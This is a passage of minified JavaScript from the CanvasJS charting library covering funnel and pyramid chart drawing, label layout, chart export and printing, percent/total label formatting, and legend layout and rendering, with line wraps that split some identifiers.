t.indexLabelMaxWidth:p[y];if(s>p[y]||
0>s)s=p[y];B[y]="inside"===t.indexLabelPlacement?P[y].height:!
1;x=z.getPercentAndTotal(t,b);if(t.indexLabelFormatter||
b.indexLabelFormatter)v={chart:z.options,dataSeries:t,dataPoint:b,total:x.total,per
cent:x.percent};b=b.indexLabelFormatter?b.indexLabelFormatter(v):b.indexLabel?
z.replaceKeywordsWithValue(b.indexLabel,b,t,y):t.indexLabelFormatter?
t.indexLabelFormatter(v):t.indexLabel?
z.replaceKeywordsWithValue(t.indexLabel,b,t,y):b.label?
b.label:"";0>=n&&(n=0);1E3>s&&1E3-s<w&&(s+=1E3-s);Q.roundRect||Ea(Q);c=new ka(Q,
{fontSize:g,fontFamily:k,fontColor:d,fontStyle:l,fontWeight:m,horizontalAlign:c,bac
kgroundColor:e,maxWidth:s,maxHeight:!1===B[y]?q?
4.28571429*g:1.5*g:B[y],text:b,padding:ga});c.measureText();J.push({textBlock:c,id:
t.reversed?A:y,isDirty:!1,lineColor:a,lineThickness:n,
lineDashType:h,height:c.height<c.maxHeight?
c.height:c.maxHeight,width:c.width<c.maxWidth?c.width:c.maxWidth})}}}function e()
{var a,b,c,e,d,f=[];d=!1;c=0;for(var g,l=L-V-S/2,l=t.options.indexLabelMaxWidth?
t.indexLabelMaxWidth>l?l:t.indexLabelMaxWidth:l,k=J.length-1;0<=k;k--)
{g=C[J[k].id];c=J[k];e=c.textBlock;b=(a=n(k)<P.length?J[n(k)]:null)?
a.textBlock:null;c=c.height;a&&e.y+c+ga>b.y&&(d=!0);c=g.indexLabelMaxWidth||
l;if(c>l||0>c)c=l;f.push(c)}if(d)for(k=J.length-
1;0<=k;k--)a=P[k],J[k].textBlock.maxWidth=
f[f.length-(k+1)],J[k].textBlock.measureText(),J[k].textBlock.x=L-
l,c=J[k].textBlock.height<J[k].textBlock.maxHeight?
J[k].textBlock.height:J[k].textBlock.maxHeight,d=J[k].textBlock.width<J[k].textBloc
k.maxWidth?
J[k].textBlock.width:J[k].textBlock.maxWidth,J[k].height=c,J[k].width=d,c="undefine
d"!==typeof a.x5?(a.y2+a.y4)/2:(a.y2+a.y3)/2,J[k].textBlock.y=c-
J[k].height/2,t.reversed?
(J[k].textBlock.y+J[k].height>pa+D&&(J[k].textBlock.y=pa+D-
J[k].height),J[k].textBlock.y<wa-D&&(J[k].textBlock.y=wa-D)):
(J[k].textBlock.y<pa-D&&(J[k].textBlock.y=pa-
D),J[k].textBlock.y+J[k].height>wa+D&&(J[k].textBlock.y=wa+D-J[k].height))}function
g(){var a,b,c,e;if("inside"!==t.indexLabelPlacement)for(var d=0;d<P.length;d+
+)0==J[d].textBlock.text.length?J[d].isDirty=!0:(a=P[d],c="undefined"!==typeof
a.x5?(a.y2+a.y4)/2:(a.y2+a.y3)/2,b=t.reversed?"undefined"!==typeof a.x5?c>Da?
f(c).x2+1:(a.x2+a.x3)/2+1:(a.x2+a.x3)/2+1:"undefined"!==typeof a.x5?c<Da?f(c).x2+1:
(a.x4+a.x3)/2+1:(a.x2+a.x3)/2+1,J[d].textBlock.x=b+S,J[d].textBlock.y=
c-J[d].height/2,t.reversed?
(J[d].textBlock.y+J[d].height>pa+D&&(J[d].textBlock.y=pa+D-
J[d].height),J[d].textBlock.y<wa-D&&(J[d].textBlock.y=wa-D)):(J[d].textBlock.y<pa-
D&&(J[d].textBlock.y=pa-
D),J[d].textBlock.y+J[d].height>wa+D&&(J[d].textBlock.y=wa+D-J[d].height)));else
for(d=0;d<P.length;d++)0==J[d].textBlock.text.length?J[d].isDirty=!0:
(a=P[d],b=a.height,c=J[d].height,e=J[d].width,b>=c?(b=d!=fa?(a.x4+a.x3)/2-e/2:
(a.x5+a.x4)/2-e/2,c=d!=fa?(a.y1+a.y3)/2-c/2:(a.y1+a.y4)/2-c/2,J[d].textBlock.x=b,
J[d].textBlock.y=c):J[d].isDirty=!0)}function k(){function a(b,c){var d;if(0>b||
b>=J.length)return 0;var e,f=J[b].textBlock;if(0>c){c*=-
1;e=q(b);d=l(e,b);if(d>=c)return f.y-=c,c;if(0==b)return 0<d&&(f.y-=d),d;d+=a(e,-
(c-d));0<d&&(f.y-=d);return d}e=n(b);d=l(b,e);if(d>=c)return
f.y+=c,c;if(b==P.length-1)return 0<d&&(f.y+=d),d;d+=a(e,c-d);0<d&&(f.y+=d);return
d}function b(){var a,d,e,f,g=0,k;f=(Z-O+2*D)/h;k=h;for(var l,m=1;m<k;m++)
{e=m*f;for(var s=J.length-1;0<=s;s--)!J[s].isDirty&&(J[s].textBlock.y<
e&&J[s].textBlock.y+J[s].height>e)&&(l=n(s),!(l>=J.length-
1)&&J[s].textBlock.y+J[s].height+ga>J[l].textBlock.y&&(J[s].textBlock.y=J[s].textBl
ock.y+J[s].height-e>e-J[s].textBlock.y?e+1:e-J[s].height-1))}for(l=P.length-
1;0<l;l--)if(!J[l].isDirty)
{e=q(l);if(0>e&&(e=0,J[e].isDirty))break;if(J[l].textBlock.y<J[e].textBlock.y+J[e].
height){d=d||l;f=l;for(k=0;J[f].textBlock.y<J[e].textBlock.y+J[e].height+ga;){a=a||
J[f].textBlock.y+J[f].height;k+=J[f].height;k+=ga;f=e;if(0>=f)
{f=0;k+=J[f].height;break}e=q(f);
if(0>e){f=0;k+=J[f].height;break}}if(f!=l){g=J[f].textBlock.y;a-=g;a=k-
a;g=c(a,d,f);break}}}return g}function c(a,b,d){var
e=[],f=0,g=0;for(a=Math.abs(a);d<=b;d++)e.push(P[d]);e.sort(function(a,b){return
a.height-b.height});for(d=0;d<e.length;d++)if(b=e[d],f<a)g+
+,f+=J[b.id].height+ga,J[b.id].textBlock.text="",J[b.id].indexLabelText="",J[b.id].
isDirty=!0,J[b.id].textBlock.measureText();else break;return g}for(var
d,e,f,g,k,m,h=1,s=0;s<2*h;s++){for(var w=J.length-1;0<=w&&!
(0<=q(w)&&q(w),f=J[w],g=f.textBlock,
m=(k=n(w)<P.length?J[n(w)]:null)?
k.textBlock:null,d=+f.height.toFixed(6),e=+g.y.toFixed(6),!
f.isDirty&&(k&&e+d+ga>+m.y.toFixed(6))&&(d=g.y+d+ga-m.y,e=a(w,-d),e<d&&(0<e&&(d-
=e),e=a(n(w),d),e!=d)));w--);b()}}function l(a,b){return(b<P.length?
J[b].textBlock.y:t.reversed?pa+D:wa+D)-(0>a?t.reversed?wa-D:pa-
D:J[a].textBlock.y+J[a].height+ga)}function h(a,b,c){var d,e,f,k=[],l=D,n=[];-1!
==b&&(0<=W.indexOf(b)?(e=W.indexOf(b),W.splice(e,1)):
(W.push(b),W=W.sort(function(a,b){return a-b})));if(0===W.length)k=
ia;else{e=D*(1!=W.length||0!=W[0]&&W[0]!=P.length-1?2:1)/m();for(var
q=0;q<P.length;q++){if(1==W.length&&0==W[0]){if(0===q)
{k.push(ia[q]);d=l;continue}}else 0===q&&(d=-1*l);k.push(ia[q]
+d);if(0<=W.indexOf(q)||q<P.length&&0<=W.indexOf(q+1))d+=e}}f=function(){for(var
a=[],b=0;b<P.length;b++)a.push(k[b]-P[b].y1);return a}();var w={startTime:(new
Date).getTime(),duration:c||500,easingFunction:function(a,b,c,d){return
M.easing.easeOutQuart(a,b,c,d)},changeSection:function(a){for(var
b,c,d=0;d<P.length;d++)b=
f[d],c=P[d],b*=a,"undefined"===typeof n[d]&&(n[d]=0),0>n&&(n*=-1),c.y1+=b-
n[d],c.y2+=b-n[d],c.y3+=b-n[d],c.y4+=b-n[d],c.y5&&(c.y5+=b-n[d],c.y6+=b-
n[d]),n[d]=b}};a._animator.animate(0,c,function(c){var d=a.plotArea.ctx||a.ctx;ja=!
0;d.clearRect(x.x1,x.y1,x.x2-x.x1,x.y2-
x.y1);d.fillStyle=a.backgroundColor;d.fillRect(x.x1,x.y1,x.width,x.height);w.change
Section(c,b);var e={};e.dataSeries=t;e.dataPoint=t.reversed?t.dataPoints[C.length-
1-b]:t.dataPoints[b];e.index=t.reversed?C.length-1-
b:b;a.toolTip.highlightObjects([e]);
for(e=0;e<P.length;e++)ra(d,P[e],t.fillOpacity);v(d);H&&("inside"!
==t.indexLabelPlacement?s(d):g(),p(d));1<=c&&(ja=!
1)},null,M.easing.easeOutQuart)}function m(){for(var a=0,b=0;b<P.length-1;b++)
(0<=W.indexOf(b)||0<=W.indexOf(b+1))&&a++;return a}function s(a){for(var
b,c,d,e,g=0;g<P.length;g++)e=1===J[g].lineThickness%2?
0.5:0,c=((P[g].y2+P[g].y4)/2<<0)+e,b=f(c).x2-
1,d=J[g].textBlock.x,e=(J[g].textBlock.y+J[g].height/2<<0)+e,J[g].isDirty||
0==J[g].lineThickness||(a.strokeStyle=J[g].lineColor,a.lineWidth=
J[g].lineThickness,a.setLineDash&&a.setLineDash(R(J[g].lineDashType,J[g].lineThickn
ess)),a.beginPath(),a.moveTo(b,c),a.lineTo(d,e),a.stroke())}function q(a){for(a-
=1;-1<=a&&-1!=a&&J[a].isDirty;a--);return a}function n(a){for(a+=1;a<=P.length&&a!
=P.length&&J[a].isDirty;a++);return a}function f(a){for(var b,c=0;c<C.length;c+
+)if(P[c].y1<a&&P[c].y4>a){b=P[c];break}return b?(a=b.y6?a>b.y6?b.x3+(b.x4-b.x3)/
(b.y4-b.y3)*(a-b.y3):b.x2+(b.x3-b.x2)/(b.y3-b.y2)*(a-b.y2):b.x2+(b.x3-b.x2)/(b.y3-
b.y2)*(a-b.y2),
{x1:a,x2:a}):-1}function p(a){for(var b=0;b<P.length;b++)J[b].isDirty||
(a&&(J[b].textBlock.ctx=a),J[b].textBlock.render(!0))}function v(a)
{z.plotArea.layoutManager.reset();a.roundRect||
Ea(a);z.title&&(z.title.dockInsidePlotArea||"center"===z.title.horizontalAlign&&"ce
nter"===z.title.verticalAlign)&&(z.title.ctx=a,z.title.render());if(z.subtitles)for
(var b=0;b<z.subtitles.length;b++){var
c=z.subtitles[b];if(c.dockInsidePlotArea||"center"===c.horizontalAlign&&"center"===
c.verticalAlign)z.subtitles.ctx=
a,c.render()}z.legend&&(z.legend.dockInsidePlotArea||"center"===z.legend.horizontal
Align&&"center"===z.legend.verticalAlign)&&(z.legend.ctx=a,z.legend.setLayout(),z.l
egend.render());U.fNg&&U.fNg(z)}var z=this;if(!(0>=a.dataSeriesIndexes.length))
{for(var
t=this.data[a.dataSeriesIndexes[0]],C=t.dataPoints,x=this.plotArea,D=0.025*x.width,
y=0.01*x.width,A=0,F=x.height-2*D,E=Math.min(x.width-2*y,2.8*x.height),H=!
1,I=0;I<C.length;I++)if(!H&&("undefined"!==typeof C[I].indexLabel&&null!
==C[I].indexLabel&&
0<C[I].indexLabel.toString().length)&&(H=!0),!H&&("undefined"!==typeof
C[I].label&&null!==C[I].label&&0<C[I].label.toString().length)&&(H=!0),!
H&&"function"===typeof t.indexLabelFormatter||"function"===typeof
C[I].indexLabelFormatter)H=!0;H=H||"undefined"!==typeof t.indexLabel&&null!
==t.indexLabel&&0<t.indexLabel.toString().length;"inside"!
==t.indexLabelPlacement&&H||(y=(x.width-0.75*E)/2);var I=x.x1+y,L=x.x2-
y,O=x.y1+D,Z=x.y2-D,Q=a.targetCanvasCtx||this.plotArea.ctx||this.ctx;if(0!
=t.length&&(t.dataPoints&&
t.visible)&&0!==C.length){var N,G;a=75*E/100;var S=30*(L-a)/100;"funnel"===t.type?
(N=u(t.options.neckHeight)?0.35*F:t.neckHeight,G=u(t.options.neckWidth)?
0.25*a:t.neckWidth,"string"===typeof N&&N.match(/%$/)?
(N=parseInt(N),N=N*F/100):N=parseInt(N),"string"===typeof G&&G.match(/%$/)?
(G=parseInt(G),G=G*a/100):G=parseInt(G),N>F?N=F:0>=N&&(N=0),G>a?G=a-
0.5:0>=G&&(G=0)):"pyramid"===t.type&&(G=N=0,t.reversed=t.reversed?!1:!0);var
y=I+a/2,$=I,V=I+a,pa=t.reversed?Z:O,K=y-G/2,ea=y+G/2,Da=t.reversed?O+N:Z-
N,wa=t.reversed?O:Z;a=[];var y=[],P=[],E=[],X=O,fa,ba=(Da-pa)/(K-$),ha=-
ba,I="area"===(t.valueRepresents?t.valueRepresents:"height")?b():d();if(-1!==I)
{if(t.reversed)for(E.push(X),G=I.length-1;0<G;G--)X+=I[G],E.push(X);else
for(G=0;G<I.length;G++)X+=I[G],E.push(X);if(t.reversed)for(G=0;G<I.length;G+
+)E[G]<Da?(a.push(K),y.push(ea),fa=G):(a.push((E[G]-pa+ba*$)/ba),y.push((E[G]-
pa+ha*V)/ha));else for(G=0;G<I.length;G++)E[G]<Da?(a.push((E[G]-
pa+ba*$)/ba),y.push((E[G]-pa+ha*V)/ha),fa=G):(a.push(K),y.push(ea));
for(G=0;G<I.length-1;G++)X=t.reversed?C[C.length-1-G].color?C[C.length-1-
G].color:t._colorSet[(C.length-1-G)%t._colorSet.length]:C[G].color?
C[G].color:t._colorSet[G%t._colorSet.length],G===fa?
P.push({x1:a[G],y1:E[G],x2:y[G],y2:E[G],x3:ea,y3:Da,x4:y[G+1],y4:E[G+1],x5:a[G+1],y
5:E[G+1],x6:K,y6:Da,id:G,height:E[G+1]-
E[G],color:X}):P.push({x1:a[G],y1:E[G],x2:y[G],y2:E[G],x3:y[G+1],y3:E[G+1],x4:a[G+1
],y4:E[G+1],id:G,height:E[G+1]-E[G],color:X});var ga=2,J=[],ja=!1,W=[],ia=[],I=!
1;a=a=0;Fa(W);for(G=0;G<
C.length;G++)C[G].exploded&&(I=!0,t.reversed?W.push(C.length-1-
G):W.push(G));Q.clearRect(x.x1,x.y1,x.width,x.height);Q.fillStyle=z.backgroundColor
;Q.fillRect(x.x1,x.y1,x.width,x.height);if(H&&t.visible&&(c(),g(),e(),"inside"!
==t.indexLabelPlacement)){k();for(G=0;G<C.length;G++)J[G].isDirty||
(a=J[G].textBlock.x+J[G].width,a=(L-
a)/2,0==G&&(A=a),A>a&&(A=a));for(G=0;G<P.length;G+
+)P[G].x1+=A,P[G].x2+=A,P[G].x3+=A,P[G].x4+=A,P[G].x5&&(P[G].x5+=A,P[G].x6+=A),J[G]
.textBlock.x+=A}for(G=0;G<P.length;G++)A=
P[G],ra(Q,A,t.fillOpacity),ia.push(A.y1);v(Q);H&&t.visible&&("inside"===t.indexLabe
lPlacement||z.animationEnabled||s(Q),z.animationEnabled||p());if(!
H)for(G=0;G<C.length;G+
+)A=t.dataPointIds[G],a={id:A,objectType:"dataPoint",dataPointIndex:G,dataSeriesInd
ex:0,funnelSection:P[t.reversed?C.length-1-G:G]},z._eventManager.objectMap[A]=a;!
z.animationEnabled&&I?h(z,-1,0):z.animationEnabled&&!z.animatedRender&&h(z,-
1,0);this.funnelPyramidClickHandler=function(a){var b=-1;if(!ja&&!
z.isAnimating&&(u(a.dataSeries.explodeOnClick)||
a.dataSeries.explodeOnClick)&&(b=t.reversed?C.length-1-
a.dataPointIndex:a.dataPointIndex,0<=b))
{a=b;if("funnel"===t.type||"pyramid"===t.type)t.reversed?C[C.length-1-
a].exploded=C[C.length-1-a].exploded?!1:!0:C[a].exploded=C[a].exploded?!1:!
0;h(z,b,500)}};return{source:Q,dest:this.plotArea.ctx,animationCallback:function(a,
b){M.fadeInAnimation(a,b);1<=a&&(h(z,-1,500),v(z.plotArea.ctx||
z.ctx))},easingFunction:M.easing.easeInQuad,animationBase:0}}}}};p.prototype.reques
tAnimFrame=function(){return window.requestAnimationFrame||
window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||
window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(a)
{window.setTimeout(a,1E3/60)}}
();p.prototype.cancelRequestAnimFrame=window.cancelAnimationFrame||
window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||
window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||
clearTimeout;p.prototype.set=function(a,d,b){b="undefined"===typeof b?!
0:b;"options"===a?(this.options=d,
b&&this.render()):p.base.set.call(this,a,d,b)};p.prototype.exportChart=function(a)
{a="undefined"===typeof a?{}:a;var d=a.format?a.format:"png",b=a.fileName?
a.fileName:this.exportFileName;if(a.toDataURL)return
this.canvas.toDataURL("image/"+d);Ta(this.canvas,d,b)};p.prototype.print=function()
{var a=this.exportChart({toDataURL:!
0}),d=document.createElement("iframe");d.setAttribute("class","canvasjs-chart-
print-frame");d.setAttribute("style","position:absolute; width:100%; border: 0px;
margin: 0px 0px 0px 0px; padding 0px 0px 0px 0px;");
d.style.height=this.height+"px";this._canvasJSContainer.appendChild(d);var
b=this,c=d.contentWindow||d.contentDocument.document||
d.contentDocument;c.document.open();c.document.write('<!DOCTYPE HTML>\n<html><body
style="margin: 0px 0px 0px 0px; padding: 0px 0px 0px 0px;"><img
src="'+a+'"/><body/></html>');c.document.close();setTimeout(function()
{c.focus();c.print();setTimeout(function()
{b._canvasJSContainer.removeChild(d)},1E3)},500)};p.prototype.getPercentAndTotal=fu
nction(a,d){var b=null,c=null,
e=null;if(0<=a.type.indexOf("stacked"))c=0,b=d.x.getTime?d.x.getTime():d.x,b in
a.plotUnit.yTotals&&(c=a.plotUnit.yTotals[b],e=isNaN(d.y)?0:100*(d.y/c));else
if("pie"===a.type||"doughnut"===a.type||"funnel"===a.type||"pyramid"===a.type)
{for(b=c=0;b<a.dataPoints.length;b++)isNaN(a.dataPoints[b].y)||
(c+=a.dataPoints[b].y);e=isNaN(d.y)?
0:100*(d.y/c)}return{percent:e,total:c}};p.prototype.replaceKeywordsWithValue=funct
ion(a,d,b,c,e){var g=this;e="undefined"===typeof e?
0:e;if((0<=b.type.indexOf("stacked")||
"pie"===b.type||"doughnut"===b.type||"funnel"===b.type||"pyramid"===b.type)&&(0<=a.
indexOf("#percent")||0<=a.indexOf("#total"))){var
k="#percent",l="#total",h=this.getPercentAndTotal(b,d),l=isNaN(h.total)?
l:h.total,k=isNaN(h.percent)?
k:h.percent;do{h="";if(b.percentFormatString)h=b.percentFormatString;else{var
h="#,##0.",m=Math.max(Math.ceil(Math.log(1/Math.abs(k))/Math.LN10),2);if(isNaN(m)||
!isFinite(m))m=2;for(var s=0;s<m;s+
+)h+="#";b.percentFormatString=h}a=a.replace("#percent",ba(k,h,g._cultureInfo));
a=a.replace("#total",ba(l,b.yValueFormatString?
b.yValueFormatString:"#,##0.########",g._cultureInfo))}while(0<=a.indexOf("#percent
")||0<=a.indexOf("#total"))}return a.replace(/\{.*?\}|"[^"]*"|'[^']*'/g,function(a)
{if('"'===a[0]&&'"'===a[a.length-1]||"'"===a[0]&&"'"===a[a.length-1])return
a.slice(1,a.length-1);a=Ia(a.slice(1,a.length-1));a=a.replace("#index",e);var
k=null;try{var f=a.match(/(.*?)\s*\
[\s*(.*?)\s*\]/);f&&0<f.length&&(k=Ia(f[2]),a=Ia(f[1]))}catch(l)
{}f=null;if("color"===a)return"waterfall"===
b.type?d.color?d.color:0<d.y?b.risingColor:b.fallingColor:"error"===b.type?b.color?
b.color:b._colorSet[k%b._colorSet.length]:d.color?d.color:b.color?
b.color:b._colorSet[c%b._colorSet.length];if(d.hasOwnProperty(a))f=d;else
if(b.hasOwnProperty(a))f=b;else return"";f=f[a];null!
==k&&(f=f[k]);if("x"===a)if("dateTime"===b.axisX.valueType||"dateTime"===b.xValueTy
pe||d.x&&d.x.getTime){if(g.plotInfo.plotTypes[0].plotUnits[0].axisX&&!
g.plotInfo.plotTypes[0].plotUnits[0].axisX.logarithmic)return
Ca(f,d.xValueFormatString?
d.xValueFormatString:b.xValueFormatString?
b.xValueFormatString:b.xValueFormatString=g.axisX&&g.axisX.autoValueFormatString?
g.axisX.autoValueFormatString:"DD MMM YY",g._cultureInfo)}else return
ba(f,d.xValueFormatString?d.xValueFormatString:b.xValueFormatString?
b.xValueFormatString:b.xValueFormatString="#,##0.########",g._cultureInfo);else
return"y"===a?ba(f,d.yValueFormatString?d.yValueFormatString:b.yValueFormatString?
b.yValueFormatString:b.yValueFormatString="#,##0.########",g._cultureInfo):"z"===
a?ba(f,d.zValueFormatString?d.zValueFormatString:b.zValueFormatString?
b.zValueFormatString:b.zValueFormatString="#,##0.########",g._cultureInfo):f})};qa(
H,V);H.prototype.setLayout=function(){var a=this.dockInsidePlotArea?
this.chart.plotArea:this.chart,d=a.layoutManager.getFreeSpace(),b=null,c=0,e=0,g=0,
k=0,l=this.markerMargin=this.chart.options.legend&&!
u(this.chart.options.legend.markerMargin)?
this.chart.options.legend.markerMargin:0.3*this.fontSize;this.height=0;var
h=[],m=[];"top"===this.verticalAlign||
"bottom"===this.verticalAlign?
(this.orientation="horizontal",b=this.verticalAlign,g=this.maxWidth=null!
==this.maxWidth?this.maxWidth:d.width,k=this.maxHeight=null!==this.maxHeight?
this.maxHeight:0.5*d.height):"center"===this.verticalAlign&&(this.orientation="vert
ical",b=this.horizontalAlign,g=this.maxWidth=null!==this.maxWidth?
this.maxWidth:0.5*d.width,k=this.maxHeight=null!==this.maxHeight?
this.maxHeight:d.height);this.errorMarkerColor=[];for(var
s=0;s<this.dataSeries.length;s++){var q=this.dataSeries[s];
if(q.dataPoints&&q.dataPoints.length)if("pie"!==q.type&&"doughnut"!
==q.type&&"funnel"!==q.type&&"pyramid"!==q.type){var
n=q.legendMarkerType=q.legendMarkerType?q.legendMarkerType:"line"!
==q.type&&"stepLine"!==q.type&&"spline"!==q.type&&"scatter"!==q.type&&"bubble"!
==q.type||!q.markerType?"error"===q.type&&q._linkedSeries?
q._linkedSeries.legendMarkerType?
q._linkedSeries.legendMarkerType:F.getDefaultLegendMarker(q._linkedSeries.type):F.g
etDefaultLegendMarker(q.type):q.markerType,f=q.legendText?q.legendText:
this.itemTextFormatter?
this.itemTextFormatter({chart:this.chart,legend:this.options,dataSeries:q,dataPoint
:null}):q.name,p=q.legendMarkerColor=q.legendMarkerColor?
q.legendMarkerColor:q.markerColor?q.markerColor:"error"===q.type?u(q.whiskerColor)?
q._colorSet[0]:q.whiskerColor:q._colorSet[0],r=q.markerSize||"line"!
==q.type&&"stepLine"!==q.type&&"spline"!==q.type?
0.75*this.lineHeight:0,v=q.legendMarkerBorderColor?
q.legendMarkerBorderColor:q.markerBorderColor,t=q.legendMarkerBorderThickness?
q.legendMarkerBorderThickness:
q.markerBorderThickness?
Math.max(1,Math.round(0.2*r)):0;"error"===q.type&&this.errorMarkerColor.push(p);f=t
his.chart.replaceKeywordsWithValue(f,q.dataPoints[0],q,s);n={markerType:n,markerCol
or:p,text:f,textBlock:null,chartType:q.type,markerSize:r,lineColor:q._colorSet[0],d
ataSeriesIndex:q.index,dataPointIndex:null,markerBorderColor:v,markerBorderThicknes
s:t};h.push(n)}else for(var z=0;z<q.dataPoints.length;z++){var
x=q.dataPoints[z],n=x.legendMarkerType?x.legendMarkerType:q.legendMarkerType?
q.legendMarkerType:
F.getDefaultLegendMarker(q.type),f=x.legendText?x.legendText:q.legendText?
q.legendText:this.itemTextFormatter?
this.itemTextFormatter({chart:this.chart,legend:this.options,dataSeries:q,dataPoint
:x}):x.name?x.name:"DataPoint: "+(z+1),p=x.legendMarkerColor?
x.legendMarkerColor:q.legendMarkerColor?q.legendMarkerColor:x.color?
x.color:q.color?q.color:q._colorSet[z
%q._colorSet.length],r=0.75*this.lineHeight,v=x.legendMarkerBorderColor?
x.legendMarkerBorderColor:q.legendMarkerBorderColor?q.legendMarkerBorderColor:
x.markerBorderColor?
x.markerBorderColor:q.markerBorderColor,t=x.legendMarkerBorderThickness?
x.legendMarkerBorderThickness:q.legendMarkerBorderThickness?
q.legendMarkerBorderThickness:x.markerBorderThickness||q.markerBorderThickness?
Math.max(1,Math.round(0.2*r)):0,f=this.chart.replaceKeywordsWithValue(f,x,q,z),n={m
arkerType:n,markerColor:p,text:f,textBlock:null,chartType:q.type,markerSize:r,dataS
eriesIndex:s,dataPointIndex:z,markerBorderColor:v,markerBorderThickness:t};
(x.showInLegend||q.showInLegend&&
!1!==x.showInLegend)&&h.push(n)}}!0===this.reversed&&h.reverse();if(0<h.length)
{q=null;p=f=x=z=0;x=null!==this.itemWidth?null!==this.itemMaxWidth?
Math.min(this.itemWidth,this.itemMaxWidth,g):this.itemMaxWidth=Math.min(this.itemWi
dth,g):null!==this.itemMaxWidth?
Math.min(this.itemMaxWidth,g):this.itemMaxWidth=g;r=0===r?0.75*this.lineHeight:r;x-
=r+l;for(s=0;s<h.length;s++)
{n=h[s];v=x;if("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartTy
pe)v-=2*0.1*this.lineHeight;if(!(0>=k||"undefined"===
typeof k||0>=v||"undefined"===typeof v)){if("horizontal"===this.orientation)
{n.textBlock=new ka(this.ctx,{x:0,y:0,maxWidth:v,maxHeight:this.itemWrap?
k:this.lineHeight,angle:0,text:n.text,horizontalAlign:"left",fontSize:this.fontSize
,fontFamily:this.fontFamily,fontWeight:this.fontWeight,fontColor:this.fontColor,fon
tStyle:this.fontStyle,textBaseline:"middle"});n.textBlock.measureText();null!
==this.itemWidth&&(n.textBlock.width=this.itemWidth-(r+l+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===
n.chartType?2*0.1*this.lineHeight:0)));if(!q||
q.width+Math.round(n.textBlock.width+r+l+(0===q.width?0:this.horizontalSpacing)+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartType?
2*0.1*this.lineHeight:0))>g)q={items:
[],width:0},m.push(q),this.height+=f,f=0;f=Math.max(f,n.textBlock.height)}else
n.textBlock=new ka(this.ctx,{x:0,y:0,maxWidth:x,maxHeight:!0===this.itemWrap?
k:1.5*this.fontSize,angle:0,text:n.text,horizontalAlign:"left",fontSize:this.fontSi
ze,fontFamily:this.fontFamily,
fontWeight:this.fontWeight,fontColor:this.fontColor,fontStyle:this.fontStyle,textBa
seline:"middle"}),n.textBlock.measureText(),null!
==this.itemWidth&&(n.textBlock.width=this.itemWidth-(r+l+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartType?
2*0.1*this.lineHeight:0))),this.height<k-this.lineHeight?(q={items:
[],width:0},m.push(q)):
(q=m[z],z=(z+1)%m.length),this.height+=n.textBlock.height;n.textBlock.x=q.width;n.t
extBlock.y=0;q.width+=Math.round(n.textBlock.width+r+l+(0===q.width?
0:this.horizontalSpacing)+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartType?
2*0.1*this.lineHeight:0));q.items.push(n);this.width=Math.max(q.width,this.width);p
=n.textBlock.width+(r+l+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartType?
2*0.1*this.lineHeight:0))}}this.itemWidth=p;this.height=!1===this.itemWrap?
m.length*this.lineHeight:this.height+f;this.height=Math.min(k,this.height);this.wid
th=Math.min(g,this.width)}"top"===this.verticalAlign?
(e="left"===this.horizontalAlign?
d.x1:"right"===this.horizontalAlign?d.x2-this.width:d.x1+d.width/2-
this.width/2,c=d.y1):"center"===this.verticalAlign?
(e="left"===this.horizontalAlign?d.x1:"right"===this.horizontalAlign?d.x2-
this.width:d.x1+d.width/2-this.width/2,c=d.y1+d.height/2-
this.height/2):"bottom"===this.verticalAlign&&(e="left"===this.horizontalAlign?
d.x1:"right"===this.horizontalAlign?d.x2-this.width:d.x1+d.width/2-
this.width/2,c=d.y2-this.height);this.items=h;for(s=0;s<this.items.length;s+
+)n=h[s],n.id=++this.chart._eventManager.lastObjectId,
this.chart._eventManager.objectMap[n.id]={id:n.id,objectType:"legendItem",legendIte
mIndex:s,dataSeriesIndex:n.dataSeriesIndex,dataPointIndex:n.dataPointIndex};this.ma
rkerSize=r;this.rows=m;0<h.length&&a.layoutManager.registerSpace(b,
{width:this.width+2+2,height:this.height+5+5});this.bounds={x1:e,y1:c,x2:e+this.wid
th,y2:c+this.height}};H.prototype.render=function(){var
a=this.bounds.x1,d=this.bounds.y1,b=this.markerMargin,c=this.maxWidth,e=this.maxHei
ght,g=this.markerSize,k=this.rows;(0<this.borderThickness&&
this.borderColor||
this.backgroundColor)&&this.ctx.roundRect(a,d,this.width,this.height,this.cornerRad
ius,this.borderThickness,this.backgroundColor,this.borderColor);for(var
l=0,h=0;h<k.length;h++){for(var m=k[h],s=0,q=0;q<m.items.length;q++){var
n=m.items[q],f=n.textBlock.x+a+(0===q?
0.2*g:this.horizontalSpacing),p=d+l,u=f;this.chart.data[n.dataSeriesIndex].visible|
|
(this.ctx.globalAlpha=0.5);this.ctx.save();this.ctx.beginPath();this.ctx.rect(a,d,c
,Math.max(e-e%this.lineHeight,0));this.ctx.clip();
if("line"===n.chartType||"stepLine"===n.chartType||"spline"===n.chartType)this.ctx.
strokeStyle=n.lineColor,this.ctx.lineWidth=Math.ceil(this.lineHeight/8),this.ctx.be
ginPath(),this.ctx.moveTo(f-
0.1*this.lineHeight,p+this.lineHeight/2),this.ctx.lineTo(f+0.85*this.lineHeight,p+t
his.lineHeight/2),this.ctx.stroke(),u-
=0.1*this.lineHeight;if("error"===n.chartType)
{this.ctx.strokeStyle=this.errorMarkerColor[0];this.ctx.lineWidth=g/8;this.ctx.begi
nPath();var r=f-0.08*this.lineHeight+0.1*this.lineHeight,
t=p+0.15*this.lineHeight,v=0.7*this.lineHeight,x=v+0.02*this.lineHeight;this.ctx.mo
veTo(r,t);this.ctx.lineTo(r+v,t);this.ctx.stroke();this.ctx.beginPath();this.ctx.mo
veTo(r+v/2,t);this.ctx.lineTo(r+v/2,t+x);this.ctx.stroke();this.ctx.beginPath();thi
s.ctx.moveTo(r,t+x);this.ctx.lineTo(r+v,t+x);this.ctx.stroke();this.errorMarkerColo
r.shift()}ia.drawMarker(f+g/2,p+this.lineHeight/2,this.ctx,n.markerType,"error"===n
.chartType||"line"===n.chartType||"spline"===n.chartType?
n.markerSize/2:n.markerSize,n.markerColor,
n.markerBorderColor,n.markerBorderThickness);n.textBlock.x=f+b+g;if("line"===n.char
